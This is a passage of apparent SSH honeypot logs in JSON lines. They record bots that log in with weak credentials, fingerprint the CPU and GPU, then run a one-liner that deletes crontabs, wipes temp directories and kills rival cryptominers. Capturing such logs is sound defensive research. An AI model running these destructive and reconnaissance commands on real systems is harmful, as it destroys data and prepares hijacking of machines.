'/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\""}],"credentials":[{"username":"test3","password":"test3","method":"password","accepted":true,"tier":"other"}]}
{"id":"7498bdb4-7c9c-4c45-aab1-64838147ee2c","name":"lively-gilded-pochard","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":57362,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:42:22.102997+00:00","ended_at":"2026-08-25T01:42:24.007504+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"ea9e1986-f816-4231-b5a6-01c31cc6568e","name":"prairie-cheerful-quail","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":58840,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":239,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:42:17.316110+00:00","ended_at":"2026-08-25T01:42:24.008545+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1654,"events":[{"seq":1,"at":"2026-08-25T01:41:20.104491+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:41:24.326452+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:41:24.503501+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:41:27.773835+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:41:28.419177+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:41:31.114009+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:31"},{"seq":7,"at":"2026-08-25T01:41:31.423662+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:41:35.837230+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:41:36.014886+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:41:39.567992+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:41:40.106701+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:41:44.891799+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:41:45.096113+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:41:48.535554+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:41:49.011145+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:41:54.585690+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:41:54.913474+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:41:58.468790+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:41:58.701438+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:42:03.701663+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:42:03.908489+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:42:09.690424+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:42:09.901603+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:42:13.678863+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:42:13.918239+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:42:17.316720+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"c3c0d2e5-1e08-4e30-b56a-81e56b0bdaef","name":"faded-ginger-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":42842,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T09:56:47.922561+00:00","ended_at":"2026-08-24T09:56:50.028555+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"a8b0941d-55fb-4442-8fda-041868b60910","name":"dusty-restless-anteater","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":37868,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":226,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:56:43.714047+00:00","ended_at":"2026-08-24T09:56:50.030150+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1654,"events":[{"seq":1,"at":"2026-08-24T09:55:36.537926+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:55:42.390297+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:55:42.604785+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:55:46.443727+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:55:46.624498+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:55:52.008188+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:45"},{"seq":7,"at":"2026-08-24T09:55:52.197193+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:55:57.382745+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:55:57.609795+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:56:01.964121+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:56:02.135471+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:56:07.888510+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:56:08.119505+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:56:11.985644+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:56:12.215807+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:56:17.575671+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:56:17.803829+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:56:22.039941+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:56:22.235006+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:56:27.286157+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:56:27.517215+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:56:32.056557+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:56:32.339700+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:56:37.736805+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T09:56:37.925158+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T09:56:43.714748+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"60c973ae-917d-4cc4-9b27-d3f6b9c8d636","name":"frosty-quiet-galago","protocol":"ssh","channel_kind":null,"src_ip":"91.92.42.147","src_port":57952,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-21T13:16:16.565530+00:00","ended_at":"2026-08-21T13:16:18.194408+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"45a3aea7-a8f4-4151-bf3a-7762dbe793a4","name":"humble-ruddy-rook","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":48636,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":286,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:16:10.708785+00:00","ended_at":"2026-08-21T13:16:18.195828+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1653,"events":[{"seq":1,"at":"2026-08-21T13:15:19.908175+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:15:23.938745+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:15:24.226496+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:15:27.193665+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:15:27.667098+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:15:30.205001+00:00","kind":"output","latency_ms":null,"data":"1 day, 10:05"},{"seq":7,"at":"2026-08-21T13:15:30.410788+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:15:33.968778+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:15:34.178460+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:15:36.854597+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:15:37.058641+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:15:41.448229+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:15:41.622474+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:15:45.248865+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:15:45.832236+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:15:49.790969+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:15:50.231833+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:15:54.531746+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:15:54.827362+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:15:58.199712+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:15:58.374744+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:16:01.036712+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:16:01.342862+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:16:05.798798+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:16:06.014132+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:16:10.709689+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"39d6cc9a-eca6-476b-82bf-7deafca12cc9","name":"meadow-cobalt-gannet","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":60926,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T19:00:13.956622+00:00","ended_at":"2026-08-20T19:00:15.436691+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"8da22143-07aa-412f-9e5f-6b02b1dcc861","name":"restless-proud-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":38836,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":219,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:00:09.813322+00:00","ended_at":"2026-08-20T19:00:15.439456+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1646,"events":[{"seq":1,"at":"2026-08-20T18:59:07.868239+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:59:10.729078+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:59:11.055071+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:59:16.463217+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:59:16.678170+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:59:21.848269+00:00","kind":"output","latency_ms":null,"data":"15:49"},{"seq":7,"at":"2026-08-20T18:59:22.055792+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:59:25.421178+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:59:25.641213+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:59:31.642105+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:59:31.954779+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:59:34.629233+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:59:34.960184+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:59:39.206067+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:59:39.379440+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:59:45.173246+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:59:45.347169+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:59:48.643470+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:59:48.818134+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:59:53.101725+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:59:53.319357+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:59:59.042047+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:59:59.274178+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:00:04.538181+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T19:00:04.916104+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T19:00:09.814088+00:00","kind":"input","latency_ms":null,"data":"echo 1 > /tmp/d.log"}],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"12167118-f3cb-453b-9c6f-7b7acb27cc16","name":"dusty-serene-jerboa","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":47482,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:06:15.812272+00:00","ended_at":"2026-08-20T10:06:17.743450+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test3","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"4970cee2-f1f2-4f24-b079-37d26c068777","name":"nautical-quaint-waxwing","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":49440,"username":"test3","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:06:15.408041+00:00","ended_at":"2026-08-20T10:06:17.745250+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1509,"events":[{"seq":1,"at":"2026-08-20T10:06:06.088338+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:06:06.089055+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:06:06.265054+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:06:07.155822+00:00","kind":"output","latency_ms":889,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:06:07.509149+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:06:08.022000+00:00","kind":"output","latency_ms":511,"data":"6:56"},{"seq":7,"at":"2026-08-20T10:06:08.196520+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:06:08.197087+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:06:08.405853+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:06:09.062933+00:00","kind":"output","latency_ms":658,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T10:06:09.311754+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:06:09.835068+00:00","kind":"output","latency_ms":522,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T10:06:10.018734+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:06:10.959987+00:00","kind":"output","latency_ms":940,"data":"AS8075 Microsoft Corporation"},{"seq":15,"at":"2026-08-20T10:06:11.230716+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:06:11.742011+00:00","kind":"output","latency_ms":510,"data":"0"},{"seq":17,"at":"2026-08-20T10:06:11.914865+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:06:12.544341+00:00","kind":"output","latency_ms":629,"data":"N/A"},{"seq":19,"at":"2026-08-20T10:06:12.725123+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:06:13.061465+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":21,"at":"2026-08-20T10:06:13.490749+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:06:14.090050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":23,"at":"2026-08-20T10:06:14.260254+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf 